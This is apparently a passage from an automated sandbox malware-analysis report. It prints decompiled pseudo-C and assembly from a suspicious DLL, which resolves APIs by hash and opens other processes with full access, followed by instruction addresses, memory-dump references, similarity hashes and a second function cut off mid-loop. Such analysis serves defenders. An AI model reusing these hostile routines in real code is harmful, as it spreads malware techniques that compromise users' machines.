				 *((intOrPtr*)( &_v124 + 0x10)) = 0xfc7fa539;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v124, E6DE8F568(_t345) + 0x10);
				E6DE8F558( &_v128, E6DE8F568( &_v128) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v136 = _v136 + 1;
				_t349 =  &_v132;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v132 + 0x10)) = 0x4145240a;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v132, E6DE8F568(_t349) + 0x10);
				E6DE8F558( &_v136, E6DE8F568( &_v136) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v144 = _v144 + 1;
				_t353 =  &_v140;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v140 + 0x10)) = 0x2c2324e8;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v140, E6DE8F568(_t353) + 0x10);
				E6DE8F558( &_v144, E6DE8F568( &_v144) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v152 = _v152 + 1;
				_t357 =  &_v148;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v148 + 0x10)) = 0xf06b4c6b;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v148, E6DE8F568(_t357) + 0x10);
				E6DE8F558( &_v152, E6DE8F568( &_v152) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v160 = _v160 + 1;
				_t361 =  &_v156;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v156 + 0x10)) = 0xa54975b2;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v156, E6DE8F568(_t361) + 0x10);
				E6DE8F558( &_v160, E6DE8F568( &_v160) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v168 = _v168 + 1;
				_t365 =  &_v164;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v164 + 0x10)) = 0x563e1998;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v164, E6DE8F568(_t365) + 0x10);
				E6DE8F558( &_v168, E6DE8F568( &_v168) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v176 = _v176 + 1;
				_t369 =  &_v172;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v172 + 0x10)) = 0xd926c223;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v172, E6DE8F568(_t369) + 0x10);
				E6DE8F558( &_v176, E6DE8F568( &_v176) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v184 = _v184 + 1;
				_t373 =  &_v180;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v180 + 0x10)) = 0x80febacc;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v180, E6DE8F568(_t373) + 0x10);
				E6DE8F558( &_v184, E6DE8F568( &_v184) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v192 = _v192 + 1;
				_t377 =  &_v188;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v188 + 0x10)) = 0x98595b64;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v188, E6DE8F568(_t377) + 0x10);
				E6DE8F558( &_v192, E6DE8F568( &_v192) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v200 = _v200 + 1;
				_t381 =  &_v196;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v196 + 0x10)) = 0x8e3b5f9c;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v196, E6DE8F568(_t381) + 0x10);
				E6DE8F558( &_v200, E6DE8F568( &_v200) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v208 = _v208 + 1;
				_t385 =  &_v204;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v204 + 0x10)) = 0x9b42cb07;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v204, E6DE8F568(_t385) + 0x10);
				E6DE8F558( &_v208, E6DE8F568( &_v208) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t434 = _t480;
				 *_t434 =  *_t434 + 1;
				E6DE9413C(0xa5eabdf8, _t434);
				E6DE8F558( &_v212, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x450], xmm0");
				E6DE8F558( &_v216, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x458], xmm0");
				E6DE8F558( &_v220, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x460], xmm0");
				E6DE8F558( &_v224, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x468], xmm0");
				E6DE8F558( &_v228, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x470], xmm0");
				E6DE8F558( &_v232, 0x60);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x478], xmm0");
				E6DE8F558( &_v236, 0x70);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x480], xmm0");
				E6DE8F558( &_v240, 0x80);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x488], xmm0");
				E6DE8F558( &_v244, 0x90);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x490], xmm0");
				E6DE8F558( &_v248, 0xa0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x498], xmm0");
				E6DE8F558( &_v252, 0xb0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a0], xmm0");
				E6DE8F558( &_v256, 0xc0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a8], xmm0");
				E6DE8F558( &_v260, 0xd0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b0], xmm0");
				E6DE8F558( &_v264, 0xe0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b8], xmm0");
				E6DE8F558( &_v268, 0xf0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c0], xmm0");
				E6DE8F558( &_v272, 0x100);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c8], xmm0");
				_t282 = E6DE8F558( &_v276, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp], xmm0");
				_v252 = E6DE81D2C(_v248, _t434, _t481, _t282, _t282);
				_t318 = _t434;
				E6DE8B338( &_v248, _v256, _t481, _v252, _t318);
				E6DE8F8DC( &_v296, _t481);
				_v300 = 0;
				_t410 =  &_v296;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v296 + 0x10)) = 0xfb42c037;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v296, E6DE8F568(_t410) + 0x10);
				E6DE8F558( &_v300, E6DE8F568( &_v300) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v308 = _v308 + 1;
				_t414 =  &_v304;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v304 + 0x10)) = 0x7082aaf3;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v304, E6DE8F568(_t414) + 0x10);
				E6DE8F558( &_v308, E6DE8F568( &_v308) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v316 = _v316 + 1;
				_t418 =  &_v312;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v312 + 0x10)) = 0x1eeb5e35;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v312, E6DE8F568(_t418) + 0x10);
				E6DE8F558( &_v316, E6DE8F568( &_v316) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v324 = _v324 + 1;
				_t422 =  &_v320;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v320 + 0x10)) = 0xe856fc47;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v320, E6DE8F568(_t422) + 0x10);
				E6DE8F558( &_v324, E6DE8F568( &_v324) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t480 =  *_t480 + 1;
				_t310 = _t480;
				_push(_t310);
				_push(_t318);
				_push(_v292);
				_t154 = _t310 + 0x2c; // 0x2c
				E6DE8BAB8(_t154,  *_t480);
				E6DE8F558( &_v340, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d8], xmm0");
				E6DE8F558( &_v344, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e0], xmm0");
				E6DE8F558( &_v348, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d0], xmm0");
				E6DE8F558( &_v352, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e8], xmm0");
				E6DE8F6F0( &_v316);
				return E6DE8F6F0( &_v356);
			}

0x6de81494
0x6de81498
0x6de8149d
0x6de814a3
0x6de814ab
0x6de814b0
0x6de814bc
0x6de814c0
0x6de814d2
0x6de814e8
0x6de814f3
0x6de814f4
0x6de814f5
0x6de814f6
0x6de814f7
0x6de814fa
0x6de814fe
0x6de81502
0x6de81509
0x6de8151b
0x6de81531
0x6de8153c
0x6de8153d
0x6de8153e
0x6de8153f
0x6de81540
0x6de81543
0x6de81547
0x6de8154b
0x6de81552
0x6de81564
0x6de8157a
0x6de81585
0x6de81586
0x6de81587
0x6de81588
0x6de81589
0x6de8158c
0x6de81590
0x6de81594
0x6de8159b
0x6de815ad
0x6de815c3
0x6de815ce
0x6de815cf
0x6de815d0
0x6de815d1
0x6de815d2
0x6de815d5
0x6de815d9
0x6de815dd
0x6de815e4
0x6de815f6
0x6de8160c
0x6de81617
0x6de81618
0x6de81619
0x6de8161a
0x6de8161b
0x6de8161e
0x6de81622
0x6de81626
0x6de8162d
0x6de8163f
0x6de81655
0x6de81660
0x6de81661
0x6de81662
0x6de81663
0x6de81664
0x6de81667
0x6de8166b
0x6de8166f
0x6de81676
0x6de81688
0x6de8169e
0x6de816a9
0x6de816aa
0x6de816ab
0x6de816ac
0x6de816ad
0x6de816b0
0x6de816b4
0x6de816b8
0x6de816bf
0x6de816d1
0x6de816e7
0x6de816f2
0x6de816f3
0x6de816f4
0x6de816f5
0x6de816f6
0x6de816f9
0x6de816fd
0x6de81701
0x6de81708
0x6de8171a
0x6de81730
0x6de8173b
0x6de8173c
0x6de8173d
0x6de8173e
0x6de8173f
0x6de81742
0x6de81746
0x6de8174a
0x6de81751
0x6de81763
0x6de81779
0x6de81784
0x6de81785
0x6de81786
0x6de81787
0x6de81788
0x6de8178b
0x6de8178f
0x6de81793
0x6de8179a
0x6de817ac
0x6de817c2
0x6de817cd
0x6de817ce
0x6de817cf
0x6de817d0
0x6de817d1
0x6de817d4
0x6de817d8
0x6de817dc
0x6de817e3
0x6de817f5
0x6de8180b
0x6de81816
0x6de81817
0x6de81818
0x6de81819
0x6de8181a
0x6de8181d
0x6de81821
0x6de81825
0x6de8182c
0x6de8183e
0x6de81854
0x6de8185f
0x6de81860
0x6de81861
0x6de81862
0x6de81863
0x6de81866
0x6de8186a
0x6de8186e
0x6de81875
0x6de81887
0x6de8189d
0x6de818a8
0x6de818a9
0x6de818aa
0x6de818ab
0x6de818ac
0x6de818af
0x6de818b3
0x6de818b7
0x6de818be
0x6de818d0
0x6de818e6
0x6de818f1
0x6de818f2
0x6de818f3
0x6de818f4
0x6de818f5
0x6de818f8
0x6de818fc
0x6de81900
0x6de81907
0x6de81919
0x6de8192f
0x6de8193a
0x6de8193b
0x6de8193c
0x6de8193d
0x6de8193e
0x6de81941
0x6de81945
0x6de81949
0x6de81950
0x6de81962
0x6de81978
0x6de81983
0x6de81984
0x6de81985
0x6de81986
0x6de8198c
0x6de8198f
0x6de81991
0x6de8199c
0x6de819a3
0x6de819ac
0x6de819b4
0x6de819bb
0x6de819c4
0x6de819cc
0x6de819d3
0x6de819dc
0x6de819e4
0x6de819eb
0x6de819f4
0x6de819fc
0x6de81a03
0x6de81a0c
0x6de81a14
0x6de81a1b
0x6de81a24
0x6de81a2c
0x6de81a36
0x6de81a3f
0x6de81a47
0x6de81a51
0x6de81a5a
0x6de81a62
0x6de81a6c
0x6de81a75
0x6de81a7d
0x6de81a87
0x6de81a90
0x6de81a98
0x6de81aa2
0x6de81aab
0x6de81ab3
0x6de81abd
0x6de81ac6
0x6de81ace
0x6de81ad8
0x6de81ae1
0x6de81ae9
0x6de81af3
0x6de81afc
0x6de81b04
0x6de81b0e
0x6de81b17
0x6de81b1f
0x6de81b26
0x6de81b2f
0x6de81b37
0x6de81b3e
0x6de81b43
0x6de81b51
0x6de81b55
0x6de81b64
0x6de81b6d
0x6de81b72
0x6de81b79
0x6de81b7d
0x6de81b81
0x6de81b88
0x6de81b9a
0x6de81bb0
0x6de81bbb
0x6de81bbc
0x6de81bbd
0x6de81bbe
0x6de81bbf
0x6de81bc2
0x6de81bc6
0x6de81bca
0x6de81bd1
0x6de81be3
0x6de81bf9
0x6de81c04
0x6de81c05
0x6de81c06
0x6de81c07
0x6de81c08
0x6de81c0b
0x6de81c0f
0x6de81c13
0x6de81c1a
0x6de81c2c
0x6de81c42
0x6de81c4d
0x6de81c4e
0x6de81c4f
0x6de81c50
0x6de81c51
0x6de81c54
0x6de81c58
0x6de81c5c
0x6de81c63
0x6de81c75
0x6de81c8b
0x6de81c96
0x6de81c97
0x6de81c98
0x6de81c99
0x6de81c9a
0x6de81c9d
0x6de81ca0
0x6de81ca1
0x6de81ca2
0x6de81ca9
0x6de81cac
0x6de81cb7
0x6de81cbe
0x6de81cc7
0x6de81ccf
0x6de81cd6
0x6de81cdf
0x6de81ce7
0x6de81cee
0x6de81cf7
0x6de81cff
0x6de81d04
0x6de81d0d
0x6de81d15
0x6de81d2a

Strings

$#,, xrefs: 6DE81701

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $#,
API String ID: 0-2557146312
Opcode ID: cd9534a2ee76e5f9b51c6ded45e75b537bfc0811318d56a54096286348dae985
Instruction ID: 8749be2d06f8cf90810cff7d2f921c19bc4a87bbd0ed3fefa2335fa90ef86c5c
Opcode Fuzzy Hash: cd9534a2ee76e5f9b51c6ded45e75b537bfc0811318d56a54096286348dae985
Instruction Fuzzy Hash: F9328F7244C7059AC705DF20C85099FB7B0EFA2209F314B1DB5AD2A1A2FF75EA8AC751

Uniqueness

Uniqueness Score: -1.00%

Function 6DE8A5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E6DE8A5A4(signed int* __ecx, void* __eflags) {
				void* __esi;
				void* __ebp;
				void* _t182;
				signed int _t183;
				signed int* _t188;
				void* _t198;
				void* _t199;
				void* _t228;
				void* _t229;
				void* _t242;
				void* _t243;
				void* _t251;
				signed int* _t271;
				void* _t282;
				void* _t284;
				void* _t285;
				void* _t296;
				signed int* _t308;
				void* _t324;
				signed int _t398;
				signed int _t402;
				intOrPtr* _t403;
				intOrPtr* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				void* _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t419;
				void* _t420;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t429;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				intOrPtr* _t439;

				_t308 = __ecx;
				 *(_t439 + 0x78) = 0;
				 *_t439 = __ecx + 8;
				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
				while(1) {
					_t392 =  *_t308;
					E6DE8B714(_t439 + 0x24, _t392, 0x7fffffff);
					if(E6DE8F56C(_t439 + 0x24) == 0) {
						goto L3;
					} else {
						_t308[0xc] = 0;
						E6DE8F6F0(_t439 + 0x24);
					}
					L63:
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					L65:
					if((_t407 | _t398) != 0) {
						L68:
						return _t407;
					}
					if( *(_t439 + 0x78) != 0x20) {
						E6DE9218C(0x5dc, _t392, _t407);
						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
						continue;
					}
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					goto L68;
					L3:
					__eflags = _t308[1];
					if(_t308[1] <= 0) {
						L21:
						__eflags =  *(_t439 + 0x20);
						if( *(_t439 + 0x20) <= 0) {
							L33:
							E6DE8F6F0(_t439 + 0x24);
							__eflags = _t308[0xc];
							if(_t308[0xc] == 0) {
								L46:
								 *((intOrPtr*)(_t439 + 8)) = 0;
								 *((intOrPtr*)(_t439 + 0xc)) = 0;
								E6DE8F620(_t439 + 0x14, 0);
								 *((intOrPtr*)(_t439 + 0x38)) = 0;
								 *(_t439 + 0x34) =  *_t308;
								E6DE8F620(_t439 + 0x40, 0);
								_t182 = 0x40;
								__eflags = _t308[7] - 0x40;
								_t183 =  <  ? _t308[7] : _t182;
								 *(_t439 + 0x74) = _t183;
								__eflags = _t183;
								if(_t183 <= 0) {
									L57:
									asm("movq xmm0, [0x6de9b7a8]");
									asm("movq [esp+0x84], xmm0");
									_t406 = E6DE92F8C(0xa5eabdf8, 0xd1a06a90);
									__eflags = _t406;
									if(_t406 == 0) {
										_t424 = 0;
										__eflags = 0;
										L61:
										__eflags = _t424 - 0x3f;
										if(_t424 <= 0x3f) {
											__eflags = _t424 << 2;
											_t308[0xc] =  *(E6DE8F558( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
											_t188 = E6DE8F558( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
											_t407 = _t308[0xc];
											asm("cdq");
											_t308[0xd] =  *_t188;
											_t398 = _t392;
											E6DE8B680(_t439 + 0x34);
											E6DE8B680(_t439 + 8);
											goto L65;
										}
										L62:
										E6DE8B680(_t439 + 0x34);
										E6DE8B680(_t439 + 8);
										goto L63;
									}
									_t392 = E6DE8F558(_t439 + 0x14, 0);
									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
									_t133 = _t198 - 0x80; // -128
									_t199 = _t133;
									__eflags = _t199 - 0x3f;
									_t424 =  <=  ? _t199 : _t198;
									__eflags = _t424 - 0x102;
									if(_t424 == 0x102) {
										goto L62;
									}
									goto L61;
								}
								_t437 = 0;
								__eflags = 0;
								while(1) {
									E6DE8CB48(_t439 + 0x4c);
									_t392 = 0;
									_t324 = _t439 + 0x4c;
									 *((char*)(_t324 + 4)) = 0;
									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
									__eflags = E6DE8C33C(_t324);
									if(__eflags != 0) {
										break;
									}
									E6DE8F8C4(_t439 + 0x14, E6DE8F568(_t439 + 0x10) + 4);
									 *((intOrPtr*)(E6DE8F558(_t439 + 0x14, E6DE8F568(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
									_t409 = E6DE92F8C(0xa5eabdf8, 0xf3119fba);
									__eflags = _t409;
									if(_t409 == 0) {
										L51:
										_t392 =  *(_t439 + 0x68);
										__eflags = _t392;
										if(__eflags == 0) {
											break;
										}
										__eflags = _t392 - 0xffffffff;
										if(__eflags != 0) {
											E6DE8F8C4(_t439 + 0x40, E6DE8F568(_t439 + 0x3c) + 4);
											 *(E6DE8F558(_t439 + 0x40, E6DE8F568(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
											E6DE8CDE0(_t439 + 0x4c, __eflags);
											_t437 = _t437 + 1;
											__eflags = _t437 -  *(_t439 + 0x74);
											if(_t437 <  *(_t439 + 0x74)) {
												continue;
											}
											_t411 = 0;
											__eflags = 0;
											do {
												E6DE8F558( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
												E6DE8F558(_t439 + 0x40, _t411 * 4);
												_t439 = _t439 + 0xffffffd8;
												asm("cdq");
												asm("pxor xmm5, xmm5");
												asm("movd xmm1, dword [ebp]");
												asm("movd xmm4, dword [edi]");
												asm("movd xmm0, edx");
												asm("cdq");
												asm("punpckldq xmm1, xmm0");
												asm("movq xmm2, [ebx+0x38]");
												asm("movq [esp], xmm1");
												asm("movd xmm3, edx");
												asm("punpckldq xmm4, xmm3");
												asm("movq [esp+0x8], xmm2");
												asm("movq [esp+0x10], xmm4");
												asm("movq [esp+0x18], xmm5");
												asm("movq [esp+0x20], xmm5");
												E6DE8AD04(__eflags);
												_t411 = _t411 + 1;
												__eflags = _t411 -  *(_t439 + 0x74);
											} while (_t411 <  *(_t439 + 0x74));
											goto L57;
										}
										break;
									}
									_t392 = _t439 + 0x68;
									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
									__eflags = 0;
									if(0 != 0) {
										break;
									}
									goto L51;
								}
								E6DE8CDE0(_t439 + 0x4c, __eflags);
								goto L62;
							}
							_t402 = _t308[1];
							__eflags = _t402;
							if(_t402 <= 0) {
								goto L46;
							}
							_t412 = 0;
							__eflags = 0;
							while(1) {
								_t429 = _t412 * 4;
								_t392 =  *(E6DE8F558( *((intOrPtr*)(_t439 + 4)), _t429));
								__eflags = _t392 - _t308[0xd];
								if(_t392 == _t308[0xd]) {
									break;
								}
								_t412 = _t412 + 1;
								__eflags = _t412 - _t402;
								if(_t412 < _t402) {
									continue;
								}
								goto L46;
							}
							__eflags = _t412 - 0xffffffff;
							if(_t412 != 0xffffffff) {
								_t228 = E6DE8F568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t228 - _t429;
								if(_t228 > _t429) {
									_t392 = 4 + _t412 * 4;
									 *(_t439 + 0x6c) = _t392;
									_t251 = E6DE8F568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t251 -  *(_t439 + 0x6c);
									if(_t251 >  *(_t439 + 0x6c)) {
										 *((intOrPtr*)(_t439 + 0x90)) = E6DE8F558( *((intOrPtr*)(_t439 + 8)), _t429);
										 *((intOrPtr*)(_t439 + 0x8c)) = E6DE8F558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
										E6DE9382C( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E6DE8F568( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
										_t439 = _t439 + 0xc;
									}
									E6DE8F8C4( *((intOrPtr*)(_t439 + 8)), E6DE8F568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t74 =  &(_t308[7]);
									 *_t74 = _t308[7] - 1;
									__eflags =  *_t74;
								}
								_t229 = E6DE8F568( *_t439);
								__eflags = _t229 - _t429;
								if(_t229 > _t429) {
									_t413 = 4 + _t412 * 4;
									_t242 = E6DE8F568( *_t439);
									__eflags = _t242 - _t413;
									if(_t242 > _t413) {
										_t243 = E6DE8F558( *((intOrPtr*)(_t439 + 4)), _t429);
										 *((intOrPtr*)(_t439 + 0x94)) = E6DE8F558( *((intOrPtr*)(_t439 + 4)), _t413);
										E6DE9382C(_t243,  *((intOrPtr*)(_t439 + 0x98)), E6DE8F568( *_t439) - _t413);
										_t439 = _t439 + 0xc;
									}
									E6DE8F8C4( *((intOrPtr*)(_t439 + 4)), E6DE8F568( *_t439) + 0xfffffffc);
									_t79 =  &(_t308[1]);
									 *_t79 = _t308[1] - 1;
									__eflags =  *_t79;
								}
								E6DE8F8C4( *((intOrPtr*)(_t439 + 8)), E6DE8F568( *((intOrPtr*)(_t439 + 4))) + 4);
								 *(E6DE8F558( *((intOrPtr*)(_t439 + 8)), E6DE8F568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
								_t308[7] = _t308[7] + 1;
								E6DE8F8C4( *((intOrPtr*)(_t439 + 4)), E6DE8F568( *_t439) + 4);
								 *(E6DE8F558( *((intOrPtr*)(_t439 + 4)), E6DE8F568( *_t439) + 0xfffffffc)) = _t308[0xd];
								_t308[1] = _t308[1] + 1;
							}
							goto L46;
						}
						_t433 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x70) = _t433 * 4;
							_t403 = E6DE8F558(_t439 + 0x28, _t433 * 4);
							_t392 = _t308[1];
							 *(_t439 + 0x80) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L29:
								_t414 = E6DE92F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t414;
								if(_t414 != 0) {
									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E6DE8F558(_t439 + 0x28,  *(_t439 + 0x70)))));
									__eflags = _t416;
									if(_t416 != 0) {
										E6DE8F8C4( *((intOrPtr*)(_t439 + 8)), E6DE8F568( *((intOrPtr*)(_t439 + 4))) + 4);
										 *(E6DE8F558( *((intOrPtr*)(_t439 + 8)), E6DE8F568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
										_t308[7] = _t308[7] + 1;
										_t271 = E6DE8F558(_t439 + 0x28,  *(_t439 + 0x70));
										E6DE8F8C4( *((intOrPtr*)(_t439 + 4)), E6DE8F568( *_t439) + 4);
										 *(E6DE8F558( *((intOrPtr*)(_t439 + 4)), E6DE8F568( *_t439) + 0xfffffffc)) =  *_t271;
										_t57 =  &(_t308[1]);
										 *_t57 = _t308[1] + 1;
										__eflags =  *_t57;
									}
								}
								goto L32;
							}
							_t415 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E6DE8F558( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
								__eflags = _t392 -  *_t403;
								if(_t392 ==  *_t403) {
									break;
								}
								_t415 = _t415 + 1;
								__eflags = _t415 -  *(_t439 + 0x80);
								if(_t415 <  *(_t439 + 0x80)) {
									continue;
								}
								goto L29;
							}
							__eflags = _t415 - 0xffffffff;
							if(_t415 == 0xffffffff) {
								goto L29;
							}
							L32:
							_t433 = _t433 + 1;
							__eflags = _t433 -  *(_t439 + 0x20);
						} while (_t433 <  *(_t439 + 0x20));
						goto L33;
					} else {
						_t434 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x64) = _t434 * 4;
							_t404 = E6DE8F558( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
							_t392 =  *(_t439 + 0x20);
							 *(_t439 + 0x7c) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L11:
								_t282 = E6DE8F568( *_t439);
								__eflags = _t282 -  *(_t439 + 0x64);
								if(_t282 >  *(_t439 + 0x64)) {
									_t420 = 4 + _t434 * 4;
									_t296 = E6DE8F568( *_t439);
									__eflags = _t296 - _t420;
									if(_t296 > _t420) {
										 *((intOrPtr*)(_t439 + 0x9c)) = E6DE8F558( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0x98)) = E6DE8F558( *((intOrPtr*)(_t439 + 4)), _t420);
										E6DE9382C( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E6DE8F568( *_t439) - _t420);
										_t439 = _t439 + 0xc;
									}
									E6DE8F8C4( *((intOrPtr*)(_t439 + 4)), E6DE8F568( *_t439) + 0xfffffffc);
									_t22 =  &(_t308[1]);
									 *_t22 = _t308[1] - 1;
									__eflags =  *_t22;
								}
								_t419 = E6DE92F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t419;
								if(_t419 != 0) {
									 *_t419( *((intOrPtr*)(E6DE8F558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
								}
								_t284 = E6DE8F568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t284 -  *(_t439 + 0x64);
								if(_t284 >  *(_t439 + 0x64)) {
									_t422 = 4 + _t434 * 4;
									_t285 = E6DE8F568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t285 - _t422;
									if(_t285 > _t422) {
										 *((intOrPtr*)(_t439 + 0xa4)) = E6DE8F558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0xa0)) = E6DE8F558( *((intOrPtr*)(_t439 + 8)), _t422);
										E6DE9382C( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E6DE8F568( *((intOrPtr*)(_t439 + 4))) - _t422);
										_t439 = _t439 + 0xc;
									}
									E6DE8F8C4( *((intOrPtr*)(_t439 + 8)), E6DE8F568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t33 =  &(_t308[7]);
									 *_t33 = _t308[7] - 1;
									__eflags =  *_t33;
								}
								_t434 = _t434 - 1;
								__eflags = _t434;
								goto L20;
							}
							_t421 = 0;
							__eflags = 0;
							while(1) {
